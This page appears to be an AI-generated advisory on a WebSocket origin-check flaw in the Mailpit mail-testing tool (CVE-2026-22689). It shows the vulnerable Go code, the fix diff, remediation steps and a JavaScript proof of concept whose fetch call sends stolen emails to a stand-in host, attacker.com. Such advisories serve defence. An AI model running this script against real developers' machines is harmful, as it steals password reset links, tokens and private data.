CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22689
6.50.01%

Mailpit CSWSH: When Localhost Spills Its Secrets

Alon Barad
Alon Barad
Software Engineer

Feb 20, 2026·6 min read·10 visits

PoC Available

Executive Summary (TL;DR)

Mailpit < 1.28.2 explicitly disabled WebSocket Origin checks. A malicious site can connect to your local Mailpit instance (ws://localhost:8025) and steal all your test emails.

A critical Cross-Site WebSocket Hijacking (CSWSH) vulnerability in Mailpit allows remote attackers to spy on local development environments. By failing to validate the WebSocket Origin header, Mailpit permits any malicious website visited by a developer to establish a persistent connection to the local Mailpit instance. This allows the attacker to siphon off email contents, password reset tokens, and other sensitive data generated during development testing in real-time.

The Developer's Honey Pot

Mailpit is the darling of the developer world right now. It is a spiritual successor to Mailhog—a tool you run locally to 'trap' emails sent by your application during development. Instead of spamming real users with 'test test 123' emails, your app sends them to localhost:1025, and Mailpit catches them, displaying them in a slick web UI on port 8025.

To make that UI feel snappy and reactive, Mailpit uses WebSockets. When a new email arrives, the server pushes it instantly to the browser. It’s convenient, fast, and modern. But here is the catch: tools designed for 'local development' often treat security as an optional DLC. The assumption is, "It's running on my machine, behind my NAT, so who cares?"

CVE-2026-22689 is the wake-up call for that mindset. It turns out that if you leave your front door open, it doesn't matter if your house is in a gated community; anyone who walks by can still walk in. In this case, the 'open door' was a WebSocket configuration that explicitly invited the entire internet to listen in on your private development traffic.

The 'Yes Man' Configuration

The vulnerability lies in how Mailpit handled the WebSocket handshake. The WebSocket protocol (RFC 6455) includes a security mechanism to prevent Cross-Site WebSocket Hijacking (CSWSH). When a browser initiates a WebSocket connection, it sends an Origin header indicating where the request is coming from (e.g., http://localhost:8025).

The server is supposed to check this header. If the origin is trusted (i.e., it matches the server's own domain), the connection is allowed. If it's http://sketchy-malware-site.com, the server should slam the door. This is standard procedure. It is the bouncer checking ID at the club.

Mailpit, however, fired the bouncer. Instead of validating the Origin, the application was hardcoded to accept everything. This isn't a bug in the code logic per se; it was a deliberate configuration choice—likely to avoid CORS headaches during development—that had catastrophic security implications. By returning true to every handshake request, Mailpit allowed any website running in your browser to bind to your local WebSocket server.

Code Review: The Smoking Gun

Let's look at the code. Mailpit is written in Go and uses the popular gorilla/websocket library. This library is secure by default—if you don't touch the CheckOrigin field, it enforces strict same-origin policies. But the developers went out of their way to override this safety net.

Here is the vulnerable code in server/websockets/client.go:

var upgrader = websocket.Upgrader{
    ReadBufferSize:    1024,
    WriteBufferSize:   1024,
    CheckOrigin:       func(r *http.Request) bool { return true }, // <--- THE BUG
    EnableCompression: true,
}

See that CheckOrigin function? It takes the HTTP request r, ignores it completely, and returns true. It is the programming equivalent of a security guard waving everyone through without looking up from their phone.

The fix, applied in commit 6f1f4f34c98989fd873261018fb73830b30aec3f, was delightfully simple: they just deleted the bad code.

 var upgrader = websocket.Upgrader{
     ReadBufferSize:    1024,
     WriteBufferSize:   1024,
-    CheckOrigin:       func(r *http.Request) bool { return true }, // allow multi-domain
-    EnableCompression: true,                                       // experimental compression
+    EnableCompression: true,
 }

By removing the custom function, gorilla/websocket reverts to its default behavior, which checks that the Origin header matches the Host header. Sanity restored.

Exploitation: Drive-By Email Theft

How does an attacker actually pull this off? They don't need to hack your firewall. They just need you to visit a website. It could be a malicious ad, a typo-squatted domain, or a compromised blog you read for coding tips.

Here is the attack chain:

  1. The Trap: The attacker hosts a page with the following JavaScript.
  2. The Hook: You visit the page while Mailpit is running in the background (which it almost always is for devs).
  3. The Siphon: The JS opens a WebSocket connection to ws://localhost:8025/api/events.

Because the browser sees localhost as a distinct origin but does not block the WebSocket initiation (SOP is looser for WebSockets), the request goes out. Because Mailpit says "Yes" to everyone, the connection opens.

// Simple PoC for CVE-2026-22689
const socket = new WebSocket('ws://localhost:8025/api/events');
 
socket.onopen = function() {
    console.log('[+] Connected to local Mailpit!');
};
 
socket.onmessage = function(event) {
    const email = JSON.parse(event.data);
    // Exfiltrate the email data to the attacker's server
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(email)
    });
    console.log('[!] Email stolen:', email.Subject);
};

From that point on, every time your local app sends a password reset email or a magic link login, the attacker gets a copy instantly. They can click that link before you do.

The Fallout: Why Localhost Isn't Las Vegas

Developers often joke that "what happens on localhost stays on localhost." This vulnerability proves that adage dead wrong. The impact here is high confidentiality loss.

Consider what data flows through Mailpit. It's not just "Lorem Ipsum" text. It is:

  • Password Reset Links: Giving the attacker account takeover on your local admin accounts.
  • Magic Links: Instant authentication.
  • PII: Real customer data is often dumped into dev environments for reproduction purposes (we tell you not to, but we know you do it).
  • API Keys: Often sent in welcome emails or error logs trapped by Mailpit.

This is a classic "Cross-Site" attack. The attacker bridges the gap between the public internet and your private loopback interface. It turns your browser into a proxy that bypasses your firewall.

Remediation: Locking the Gate

The immediate fix is to update Mailpit to version 1.28.2 or later. If you installed via Go, run:

go install github.com/axllent/mailpit@latest

If you are using Docker, pull the latest image. The patch removes the permissive CheckOrigin bypass, forcing the browser's Origin to match the server's Host.

> [!WARNING] > Residual Risk: DNS Rebinding > Even with the patch, local tools like Mailpit can be vulnerable to DNS Rebinding. An attacker can map a domain they control (e.g., attacker.com) to 127.0.0.1 with a short TTL. If they can trick your browser into accessing attacker.com:8025, the browser sends Host: attacker.com:8025 and Origin: attacker.com. Since they match, the default WebSocket check might pass. The only true fix is for local tools to explicitly validate that the Host header is strictly localhost or 127.0.0.1.

Official Patches

MailpitGitHub Commit fixing the issue
MailpitRelease notes for v1.28.2

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS Probability
0.01%
Top 100% most exploited

Affected Systems

Mailpit < 1.28.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
Mailpit
axllent
< 1.28.21.28.2
AttributeDetail
CWE IDCWE-1385
Attack VectorNetwork (Cross-Site via Browser)
CVSS Score6.5 (Medium)
EPSS Score0.00006
Exploit StatusTrivial (No public weaponized script, but easy to write)
ImpactConfidentiality (High)

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access
T1593Search Open Websites/Domains
Reconnaissance
CWE-1385
Missing Origin Validation in WebSockets

The application does not verify or incorrectly verifies the Origin header in a WebSocket handshake, allowing a malicious site to communicate with the WebSocket server.

Known Exploits & Detection

Internal ResearchTrivial JavaScript one-liner to connect to ws://localhost:8025

Vulnerability Timeline

Vulnerability identified in internal audits
2026-01-05
Patch released in v1.28.2
2026-01-10
CVE-2026-22689 published
2026-01-10

References & Sources

  • [1]GHSA Advisory
  • [2]Understanding CSWSH Attacks

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.